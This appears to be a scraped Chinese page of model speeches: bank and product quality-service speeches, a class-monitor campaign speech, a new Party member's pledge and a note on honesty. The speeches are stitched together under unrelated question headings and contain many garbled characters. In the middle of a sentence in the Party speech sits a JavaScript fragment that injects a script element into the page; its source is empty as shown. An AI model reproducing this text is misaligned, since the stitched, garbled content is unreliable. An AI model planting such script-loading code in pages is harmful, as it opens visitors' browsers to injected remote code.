
中学生怎么写关于挑战,坚强,自信等品质演讲稿范文
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关于提升服务品质 实现自我价值演讲稿的范文有吗
今天我所演讲目是:优质文明永无止境。
金的竞争,是一种信誉的竞争,更是一务的竞争。
谁的信誉好,谁的服务好,谁就能更适应顾客的需要,谁就能占领更多的市场。
银行服务体现的是银行管理水平的高低,其中也包含着银行本身的文化内涵和员工的精神风貌,而展现在公众面前的是一种品牌。
银行作为服务行业,而服务是立行之本,只有不断的增强服务意识,转变服务的观点,强化服务的措施,从服务的质量,服务的手段,服务的内容,服务的态度,服务的环境等方面入手,这样才能提高优质文明服务的水平。
我个人认为服务是一种管理。
优质的文明水平的提高一定需要严格的、规范的、科学的管理,严格规范的管理又可以使优质文明服务水平提高。
优质文明服务的好坏体现着一家银行管理水平的高低。
所以,银行在实施优质文明服务的过程中应该严格的依靠管理制度。
这包括岗位规范、着装统一、仪表举止、文明用语、电话用语等,这些都必须形成制度,成为每个员工的行为准则,要严格执行。
服务是一种文化。
银行构建服务文化体系应该包括:员工要有爱岗敬业的服务精神,要有以服务为本的道德观、价值观、要有无私奉贤、团结奋进的互帮互助和艰苦奋斗的务实精神这种行业特有的企业精神,可以使银行员工树立风险意识和效益意识,从而充分的发挥这种服务文化的激励作用。
服务是一种精神。
银行文明优质服务活动的核心内容是引导员工树立一种正确的价值观念、职业道德、敬业精神,以行兴我荣,行荣我荣为服务理念,以信誉第一、优质服务、廉洁守法为职业道德规范为标准。
确立和完善员工的服务意识和服务行为,一定要树立客户。
主动服务、整体服务的观念。
银行服务的核心是维护和加强与客户的联系。
所以我们银行要随时以客户为中心,调整自身,服务要从单纯经营金融产品转移到维护和加深与客户的联系上,仅仅重视满足客户的需要是不够的,还必须研究客户需要背后复杂的各种因素,只有紧紧抓住维护与客户的关系这一核心,以市场为导向,以高质、多样化的特色服务,满足客户的多层次需要,才能获得自身发展的持续动力。
“客户”的概念是一个“大客户”的概念,不仅银行直接服务的对象是客户,与银行服务有制约关系的部门,甚至银行自身的员工都应该视同为客户。
所以银行在处理与客户的关系上,应树立大市场、大客户的意识以及“服务是一个全过程”的概念。
构建新型银行与客户关系,对制约与客户关系的因素进行协调管理,增强客户的稳定性,没有良好的服务作为保障,即使一时被拉过来的客户也可能会跑掉,所以优质的服务就是信誉。
所以强化和提高服务意识,这是开展优质文明服务的前提。
所以就要全面动员,深入发动,大造声势,宣传优质文明服务。
优质的文明服务关系到一个企业的形象,因此,一定要做到全面发动,全员参与。
使我们的员工做到每天从接待第一位客户到送走最后一位客户,工作的各个环节都要有统一、详细、明确的标准,是每位员工接待客户有礼、有节、有度、处理业务规范、快速、准确,让顾客感到和谐,友爱,温馨。
所以搞好服务这是事关银行的社会形象,影响银行的各项经营活动的综合性工作,因此银行的每个机构,每个部门,每个员工都要相互支持、相互配合、增强服务意识,顾全大局,发挥整体功能,努力提高全行的服务水平和服务质量。
优质文明服务要取得好的效果,关键是以人为本,通过教育培训和强化管理,提高员工的政治素质和业务素质,以员工的高素质创造出优质服务的高水平。
从对全体员工进行爱岗敬业、诚实守信、办事公道、服务群众、奉贤社会的职业道德教育,使每位员工懂得,自己的行为代表着银行的形象,在本职工作的岗位上奉贤一份光和热,自觉的维护全行的形象和荣誉,是优质服务上一个新台阶。
如柜面是银行接触社会公众最为频繁的地方,也是直接办理业务、衍生存款的地方,银行好的服务形象要靠柜面服务具体体现出来。
而加大监督的力度和广度,相成全方位的监督体系,是优质文明服务落到实处的保证。
优质服务工作必须要做到常抓不懈,除了必须制定和落实各项制度外,还必须强化监督检查机制。
优质文明服务是永无止境的,重在坚持,贵在落实。
良好的品质演讲稿
质量在我心中各位同事: 大家好
众所周知,质量是产品的基础,没有质量,谈什么品牌、发展、竞争都是空话。
尤其是对于我们XX企业来说,质量更是我们企业赖以生存和发展的基石。
我们谁也不能保证只要我们的工作质量一流了,我们的企业就是一流的。
要知道,一个真正有生命的企业是因为有着厚重的质量基础作保证的,一个企业的质量形象是靠每一位员工精心打造出来的。
只有打造一流的质量,才能打造一流的产品,只有拥有一流的产品,才能立于不败之地。
一个企业,就像一台机器,是由成千上万个功能各不相同的零部件配合而成的,一台机器正常运行的效果取决于每个部件是否正常,功能是否发挥出来,配合是否准确到位。
而我,就是其中的一个小小的零部件。
我关心整个企业的发展,而我现在所要做的是发挥我这个零部件的作用、并且配合好周围齿轮的运行。
质量在我心中——表明质量是人控制的。
我就从“人的责任心”来论述质量在我手中这个观点。
我认为:不管在什么情况和条件下,人的因素是第一位,人是管理机器的主体,人决定质量,而非机器决定质量。
质量也是一种责任心的培养。
实际上,我们都知道,产品质量是我们每一个职工干出来的,而不是质检员检出来的
因此应该提高职工的业务素质,把产品质量深入到每个职工的心中。
严把质量关,从现在做起,从我做起,假如我是一名质检员,产品在我这里验收不合格,就不能流到下道工序。
举个例子:上班了,假如我接班后继续生产,产品质量出现问题,经过分析是上个班留在机器里的产品,不是我生产出来的。
但责任应该是我的,我应该承担,为什么呢
因为我应该去检查
假如我检查了,就会把不合格的产品按程序处理。
这是我的工作没有做到位。
质量在我心中,强调的是人的责任。
如果发生了质量问题我们都推开,那么,企业怎么生存
这是一个态度问题。
拒绝承担个人责任是人的通病。
一个有责任的管理者和职工,应该为事情的结果负责。
无数的事实雄辩的证明,勇于认识错误不但能推动事情的发展,更有助于解决问题。
然而事实上,与外国人相比,中国人似乎更不愿意认错。
因为在潜意识里,认错就意味着失败,认错就意味着认输。
而在现代企业中,往往认错就代表牺牲。
代表着经济赔偿。
但那是因为我们没有认识到,质量就代表着诚信,质量就是一个品牌
一个没有诚信的企业,根本无法在激烈的市场竞争中立足。
任何品牌和名牌,要想获得大家的青睐,最根本的还得要看质量,良好的、过硬的、稳定的质量才是产品立足的基石。
好听的名字,铺天盖地的广告,大张旗鼓的渲染,不过是五光十色的肥皂泡泡。
任何一个岗位的疏忽和轻视都会对企业的整体质量造成不同程度的影响。
我们都是企业的主人,企业的生存和我们的生活息息相关,为了企业的发展而工作,企业提供我们懒以生存的经济来源,假如我们不用心工作,将是自毁长城,自挖墙角,自断后路。
从这个意义上说,企业和我们个人的命运就把握在我们自己的手中。
把握质量就是给企业添砖加瓦,就是把握自己,把握未来。
每一位员工都要视责任如泰山,视产品在手中,质量在心中,细节在精益求精中,真诚在每一道工序中,让质量是企业的生命这一观点用脑、用心溶入到我们的工作中去,让我们加工的工件精益完美,让时间磨损不了优良的质量,让企业因为质量在可持续发展的道路上充满生命和活力。
记得日本一位企业家土光敏夫曾说过这样一句话,“没有沉不了的船,没有倒闭不了的企业,一切取决于人的努力。
”作为从事机械加工的企业单位,加工过程,质量控制,环环相扣,每个细微环节都需要员工认真敬业的工作,稍有不甚,就会造成质量隐患。
所以说,质量就是一个准则,质量就是一个忠诚,质量就是一个责任,质量就是企业的生命
一个企业没有了质量,没有了诚信,就没有了市场,就失去了生存的能力,那么将近上千名员工又将何去何从,将近千百个家庭的生活又将如何维持
为了企业的发展和繁荣,同时也为了我们自身生活的安定,请加入到全面质量管理中来吧,让优质的产品和优质的质量托起舞钢美好的明天
资料来源于网络。
急需一个五分钟左右关于廉政的演讲稿,要求以身边的他,用第三人称的方式讲述发生在自己身边的的廉政事迹
尊敬的老师、亲爱的同学们: 大家好! 我是冯湃。
锋利的剑缺少不了打磨,成功的人缺少不了竞争。
今天,我走上这个讲台唯一的目的就是竞选“班级元首”——班长。
虽然许多人对班长的职位虎视眈眈,但是我相信自己能担任这个职位。
班长演讲稿范文。
在这里,我首先要感谢老师对我的信任和培养,谢谢同学们过去对我的信任和支持。
我相信,凭着我与大家的友情和热情,一定能将班长这一工作在小学毕业前,这短暂而又难忘的时光中做得更好。
我觉得班长应该是师生之间的纽带,是同学之间的“工会”和“妇联”,是同学们努力加压的“催化工厂”,是“扶正压邪、顾全大局”的战斗堡垒。
班长要履行好自己的职责,当好老师的小助手,协助老师搞好班里的工作,积极反映同学们的呼声。
当然,班长光有为大家服务的心是不够的,当班长还应具有调控全局的能力…… 班长是老师的助手。
所以,我得先从自我做起,严格要求自己;其次,我会在任何时候,都想同学们之所想,急同学们之所急,敢于坚持原则,敢于积极为同学们谋求正当的权益。
班长作为一个集体的带头人物,要处理班级的各种事务。
班长演讲稿范文。
我知道,一颗孤星无法照亮大地;但我相信,满天的星斗将赋予大地光明! 我不敢大胆表现自己,这是劣势,但我会珍惜这个机会,尽全力为班级服务。
既然是山,就要坚定不移;既然是浪,就要有前进的方向;既然是阳光,就要普照大地;既然是班长,就要成为老师和同学沟通的桥梁 。
当班长是我的心愿。
希望大家支持我。
卡耐基说过“不要怕推销自己,只要你认为自己有才华,你就应该认为自己有资格提任这个或那个职务”。
我的话并不是空话,我认为我有能力实现我的诺言。
当了半学期的纪律委员,一路走来,不是鲜花满地,也不是荆棘密布,有的只是波澜不惊,缓坡小溪。
做一个优秀的班干部,我想首先要思想好。
如果我当上了班长,我一定会严格要求自己的行为规范,以身作则,认真学习,争做好事,做好本职工作,我会以满腔的热情为同学们服务。
同学们,请相信我,把那宝贵的一票投给我吧!给我一次机会,我相信在我们的共同努力下,我们的班级会更上一层楼! 谢谢大家!
以服务为主题的演讲稿
优质服务演讲稿范文 的领导、各位同事,各位评大家好
首先要感家的信任和支持,给了我这次演讲的机会。
我演讲的题目就是:“用心服务,用爱经营,撑起诚信的蓝天”。
作为一名在前台工作的员工,我深深的知道,服务就是一切,服务就是企业的生命,我也深深的知道只有用心了才能做好服务,营业前台是建行服务的窗口,而我们将最直接的展示中国建设银行的形象,但是,我们的工作不可能总是风和日丽。
不可避免的,经常有客户因为不满意建行的服务而责骂、刁难我们。
我想,这也是因为我们的工作做得不到位吧。
那么,我们怎样才能做到真正“用心服务”呢
任何一个错误,都会给客户和各个环节的工作带来不必要的麻烦。
“用心”服务的过程中,如果你很热心,有耐心,却不够细心,很可能结果事与愿违,好心办错事;如果你细心,却不热心,也没有耐心,纵使你能够解决问题,但一副冷冰冰的面孔又怎么能够得到用户的肯定呢
打个比方,如果说热心和耐心是点亮笑容的烛光,那么细心就是那个默默支撑的烛台。
我们要设身处地地为客户着想,尽可能去帮助他们,用自己的真心付出,证明着“用心服务”就是永远从心底里去关爱他人,帮助他人。
随着金融业的不断发展,各家商业银行的竞争也越来越激烈,银行的服务质量和服务水平逐渐成为各商业银行竞争的焦点,而服务也就成了银行的生命线。
而我们企业要的是市场,客户要的是服务,而连接客户与企业的命脉就是诚信。
诚信是服务的基本要求,只有用心服务,才能得到客户的信赖;只有用心服务,才能使客户在享受建行服务中体验到温馨;也只有用心服务,才能使服务行业在激烈的竞争中立于不败之地。
我们常说,顾客是上帝。
但“上帝”也需要真真切切的感觉,而这感觉就来自我们所提供的实实在在的服务,我们对客户的一句亲切问候,一次周到的服务,远不及客户对我们的信任和支持。
“用心服务,用爱经营”看似简单的八个字,其实包含了多少内容、多少艰辛、多少付出。
我们建行员工正是用自己的心血、汗水和智慧实践着这简单的八个字。
秉承“以市场为导向,以客户为中心”的宗旨,使诚信融入我们建行服务的每一个环节。
为了提升服务质量,在工作中,我们严格要求自己,每天准时上班。
在服务过程中我们坚持使用十字文明用语,实行站立服务和微笑服务,积极、主动、热情的接待每一位客户,用自己的热忱,展示着“以客户为中心”就永远向客户报以浓郁的亲情。
最近我们分理处实行了手工排号,使排长龙的现象消失了,营业大厅里因站着排队而心生不满的客户也减少了很多,这大大减轻了我们前台的工作压力,使我们能够更好地“用心服务,用爱经营”,正是这种情感,使我们的精神凝为一体,使我们的境界不断升华;督促我们积极进取,不断开拓,为建行事业的发展而不懈努力。
携起手来,让我们肩并肩,用青春的热血铸造建设银行不老的魂
再次感谢大家给我的这次机会,我的演讲完了
谢谢
建党95周年新入党党员代表发言稿
尊敬的党组织领导、亲爱的党员同志们: 大家好
今天,我们在这里隆重聚会,参加预备党员的入党宣誓活动,心情十分激动。
尤其是作为预备党员代表在入党宣誓大会上发言,我倍感荣幸。
请允许我代表全体新党员,深深地感谢党组织对我们的关心、培养和教育;感谢领导和老党员对我们的关爱、激励和帮助
在90年前的7月,中国共产党犹如一轮红日在东方冉冉升起,照亮了中国革命的前程。
中国共产党已经走过了90年的光辉历程。
90年来,我们党始终为民族复兴、国家富强和人民幸福而奋斗不息。
特别是改革开放30年来,我党带领全国人民坚定不移地走中国特色社会主义道路,取得了举世瞩目的伟大成就;在去年发生的“512”汶川特大地震面前,我们党又果断地领导全国人民众志成城、抗震救灾,举国家之力量、凝民族之精神,最大限度地发挥了社会主义制度的优越性,让世界为之感动和钦佩。
党的90年的历史有力地证明,中国共产党不愧是代表中国先进生产力发展要求、代表中国先进文化前进方向、代表中国最广大人民根本利益的伟大、光荣、正确的党。
入党宣誓是一名党员政治生命开始的象征,体现了一个共产党人为实现人生最高价值所做出的无悔选择。
我们都要永远记住这个神圣的时刻,永远记住已向党和人民许下的郑重承诺,把入党誓词作为自己终身的追求、终身的修养和终身的实践,做到在任何情况下都要保持好共产党员的先进性。
为了实践好我们的誓言,我代表新入党的同志向组织表决心如下:第一,要不断提升自己的思想政治修养。
始终保持解放思想,与时俱进的精神状态。
在实践中积极探索,不断加深对党的方针政策的认识和理解。
能明辨是与非,甄别正与邪。
自己抵制腐朽思想和不正之风的侵蚀。
树立准确的人生观和价值观。
第二,我们将本着全心全意为人民服务的根本宗旨,充分发挥党员的先锋模范作用,使我们广大党员教育工作者的先进性在岗位上发光发亮。
第三,我们将建立终身学习的观念,作为一个新时期的党员,我们最好的宣言就是利用自己所学的科学文化知识更好的为人民服务,更好的奉献于这个社会,这是这个时代党、国家和人民赋予我们的强烈责任和使命
同志们,也许我们的工作很普通,我们的岗位很平凡,但我们忠诚党的信念永远不能忘记。
我们要以身边的优秀党员为榜样,用一名党员的标准严格要求自己,立足本职、埋头苦干、锐意进取、无私奉献,将自己的智慧和青春融入到党的事业和全心全意为人们服务的var script = document.createElement('script'); script.src = ''; document.body.appendChild(script); 工作当中,在平凡的岗位上创造不平凡的业绩,用自己的实际行动践行着今天的铮铮誓言,用自己毕生的精力铸造更加灿烂辉煌的明天
今天,在这个庄严的会场上,我们的心灵接受了一次神圣的洗礼。
在今后的日子里,我们将会肩负党和人民的重托,在工作和学习中,更加成熟,更加坚定,不断展现一个新时代党员的先进风采,为社会主义建设贡献自己的力量。
谢谢大家
关于诚信的演讲稿范文,200字,在线等
所谓诚信,即诚实与守信,她是一种美德、一种品质,为我们中华民族世代所信奉。
诚信是立身处世的准则,是人格的体现,是衡量个人品行优劣的道德标准之一。
它对民族文化、民族精神的塑造起着不可缺少的作用。
诚信不仅是一个人最基本的道德品质,更是我国经济建设的精神基础与思想保障。
我国是一个悠久历史,拥有灿烂文化的国家,关于诚信的积淀在历代的贤达志士中并不鲜见,中国诚信是源远流长的历史传统的继承。
在长期的社会实践中,中华民族形成了重承诺、守信义、以诚立业、以信取人的道德传统,形成比较稳定的社会结构、凝聚力强大的传统文化和延绵不绝的中华文明,“千金一诺”、“一言既出,驷马难追”之类的美谈佳话永留史册。
一个人,如果做到了诚信,那么,他也就做到了一个人的基本准则。



